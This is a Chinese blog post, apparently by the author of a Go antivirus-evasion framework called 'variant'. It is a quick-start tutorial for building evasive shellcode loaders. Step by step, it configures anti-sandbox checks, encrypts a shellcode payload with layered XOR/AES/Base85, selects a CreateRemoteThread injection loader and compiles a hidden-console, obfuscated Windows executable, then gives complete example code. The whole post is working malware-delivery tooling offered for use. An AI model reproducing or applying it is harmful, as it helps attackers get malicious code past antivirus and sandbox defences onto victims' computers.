开箱即食说明:因为想摸鱼,所以写了一个免杀框架

摸大大的?,不用干活真好

闲聊几句

项目的Star不涨,原来是使用门槛有点高(我之前寻思着用的人少,才不会被标记特征么),但是好像框架本来就是以随机特征的思想编写的,有点尴尬哈哈。

被催更了,那就来写一个开箱即食说明吧

d2b5ca33bd20240702112514

开箱即食说明

案例:https://github.com/C1ph3rX13/variant/blob/main/demo/Base/main.go

初始化

Git Clone 项目之后要进行初始化,初始化需要本地事先预装Golang环境,配置好代理(有些库需要访问Github)

在项目根目录(不要有中文),运行 https://github.com/C1ph3rX13/variant/blob/main/initialize.bat

运行initialize.bat,会自动配置依赖,卡住或者失败都是大概率网络问题

推荐将项目导入Goland中使用,当然VScode也行

反沙箱模块 (可选)

根据demo代码,先设置反沙箱模块

// 反沙箱模块
	sandbox := render.SandBox{
		Methods: []string{
			"sandbox.BootTime",
			"sandbox.GetDesktopFiles",
		}}

反沙箱的函数,在 sandbox 文件夹下找,挑选一个你喜欢的就好。当然 IDE也会提示你,输入 sandbox. 就能看到IDE提示的所有反沙箱函数

压缩模块 (可选,但不推荐)

这个模块主要是对加密后的ShellCode进行压缩,但由于压缩算法的特征可能会被某些沙箱标记,加上压缩后文件的熵值上升比较大,所以不推荐。

建议直接删除或者注释掉

// 压缩算法模块
	compressor := render.Compressor{
		Import:    "variant/compress",
		Algorithm: "compress.LzwDecompress",
		Ratio:     8,
	}

加密模块 (必选)

// 设置加密参数
	params := enc.Payload{
		PlainText: "render/templates/payload.bin",
		FileName:  rand.RStrings(),
		Path:      "output",
		Key:       rand.LByteStrings(16),
		IV:        rand.LByteStrings(16),
	}
	// 加密之后的 shellcode
	payload, err := params.SetKeyIV(crypto.XorAesHexBase85Encrypt) // 传入加密方法,根据加密方法的签名渲染模板
	if err != nil {
		log.Fatal(err)
	}

	payload, _ = compress.LzwCompress([]byte(payload), 8)  // 推荐删掉,不使用压缩模块

	local := render.Local{
		Payload:  payload,
		KeyName:  rand.RStrings(),
		KeyValue: string(params.Key),
		IvName:   rand.RStrings(),
		IvValue:  string(params.IV),
	}

	loader := render.Loader{
		Method: "loader.CreateRemoteThreadHalos",
	}

加密模块需要根据实际情况设置:

设置加密参数

// 设置加密参数
	params := enc.Payload{
		PlainText: "render/templates/payload.bin",   // 设置 payload 所在位置,不知道相对路径可以设置绝对路径
		FileName:  rand.RStrings(),                          // 无需修改
		Path:      "output",                                          // 设置 输出模板文件 所在位置,不知道相对路径可以设置绝对路径
		Key:       rand.LByteStrings(16),                    // 无需修改,但可以根据加密的类型修改
		IV:        rand.LByteStrings(16),                      // 无需修改,但可以根据加密的类型修改
	}

加密ShellCode

加密方法的选择:导入IDE后,输入 crypto. 即可得到提示,或者到 crypto 文件夹查看

// 加密之后的 shellcode
	payload, err := params.SetKeyIV(crypto.XorAesHexBase85Encrypt) // 传入加密方法,根据加密方法的签名渲染模板
	if err != nil {
		log.Fatal(err)
	}

本地加载

不需要进行任何改动,有其他需要再改

local := render.Local{
		Payload:  payload,
		KeyName:  rand.RStrings(),
		KeyValue: string(params.Key),
		IvName:   rand.RStrings(),
		IvValue:  string(params.IV),
	}

选择加载器

加载器的选择:导入IDE后,输入 loader. 即可得到提示,或者到 loader 文件夹查看

一般加载器函数只有一个形参,只接收ShellCode就可以了

loader := render.Loader{
		Method: "loader.CreateRemoteThreadHalos",
	}

模板渲染

只需要加解密的函数配置即可,例如:crypto.XorAesHexBase85Encrypt 对应crypto.XorAesHexBase85Decrypt,一般加密和解密函数会在同一个文件中

// 定义模板渲染数据
	data := render.Data{
		CipherText:    rand.RStrings(),
		PlainText:     rand.RStrings(),
		DecryptMethod: "crypto.XorAesHexBase85Decrypt",   // 用什么加密,就需要配置对应的解密函数
		Loader:        loader,
		Local:         local,
		SandBox:       sandbox,
	}

编译

未特别注释的不需要改动,设置编译输出文件夹即可,或者直接在项目根目录设置output文件夹,就不要改动代码了

// 设置模板的渲染参数
	tOpts := render.TmplOpts{
		TmplFile:     "render/templates/v4/Base.tmpl",               // 不需要改动
		OutputDir:    "output",                                                     // 编译输出文件夹,可以修改任意路径
		OutputGoName: fmt.Sprintf("%s.go", rand.RStrings()),
		Data:         data,
	}
	// 生成模板
	err = render.TmplRender(tOpts)
	if err != nil {
		log.Fatal(err)
	}

	// 编译参数
	cOpts := build.CompileOpts{
		GoFileName:  tOpts.OutputGoName,
		ExeFileName: fmt.Sprintf("%s.exe", strings.TrimSuffix(tOpts.OutputGoName, ".go")),
		HideConsole: true,
		CompilePath: "output",
		BuildMode:   "pie",
		Literals:    true,
		GSeed:       true,
		Tiny:        true,
	}

	// 编译
	if err = cOpts.GoCompile(); err != nil {
		log.Fatal(err)
	}

直接 run,有报错截图在项目提issue即可

开箱即食用完整代码 特别简化版

package main

import (
	"fmt"
	"strings"
	"variant/build"
	"variant/compress"
	"variant/crypto"
	"variant/enc"
	"variant/log"
	"variant/rand"
	"variant/render"
)

func main() {
	// 反沙箱模块
	sandbox := render.SandBox{
		Methods: []string{
			"sandbox.BootTime",
			"sandbox.GetDesktopFiles",
		}}

	// 设置加密参数
	params := enc.Payload{
		PlainText: "render/templates/payload.bin",
		FileName:  rand.RStrings(),
		Path:      "output",
		Key:       rand.LByteStrings(16),
		IV:        rand.LByteStrings(16),
	}
	// 加密之后的 shellcode
	payload, err := params.SetKeyIV(crypto.XorAesHexBase85Encrypt) // 传入加密方法,根据加密方法的签名渲染模板
	if err != nil {
		log.Fatal(err)
	}

	local := render.Local{
		Payload:  payload,
		KeyName:  rand.RStrings(),
		KeyValue: string(params.Key),
		IvName:   rand.RStrings(),
		IvValue:  string(params.IV),
	}

	loader := render.Loader{
		Method: "loader.CreateRemoteThreadHalos",
	}

	// 定义模板渲染数据
	data := render.Data{
		CipherText:    rand.RStrings(),
		PlainText:     rand.RStrings(),
		DecryptMethod: "crypto.XorAesHexBase85Decrypt",
		Loader:        loader,
		Local:         local,
		SandBox:       sandbox,
		Compressor:    compressor,
		//Args:          args,
	}

	// 设置模板的渲染参数
	tOpts := render.TmplOpts{
		TmplFile:     "render/templates/v4/Base.tmpl",
		OutputDir:    "output",
		OutputGoName: fmt.Sprintf("%s.go", rand.RStrings()),
		Data:         data,
	}
	// 生成模板
	err = render.TmplRender(tOpts)
	if err != nil {
		log.Fatal(err)
	}

	// 编译参数
	cOpts := build.CompileOpts{
		GoFileName:  tOpts.OutputGoName,
		ExeFileName: fmt.Sprintf("%s.exe", strings.TrimSuffix(tOpts.OutputGoName, ".go")),
		HideConsole: true,
		CompilePath: "output",
		BuildMode:   "pie",
		Literals:    true,
		GSeed:       true,
		Tiny:        true,
	}

	// 编译
	if err = cOpts.GoCompile(); err != nil {
		log.Fatal(err)
	}

}

总结

其实项目很多功能都可以在 demo 文件夹中得到,只需要把函数名更换一下即可。

© 版权声明
THE END
喜欢就支持一下吧
点赞12 分享
评论 共3条

请登录后发表评论

    请登录后查看评论内容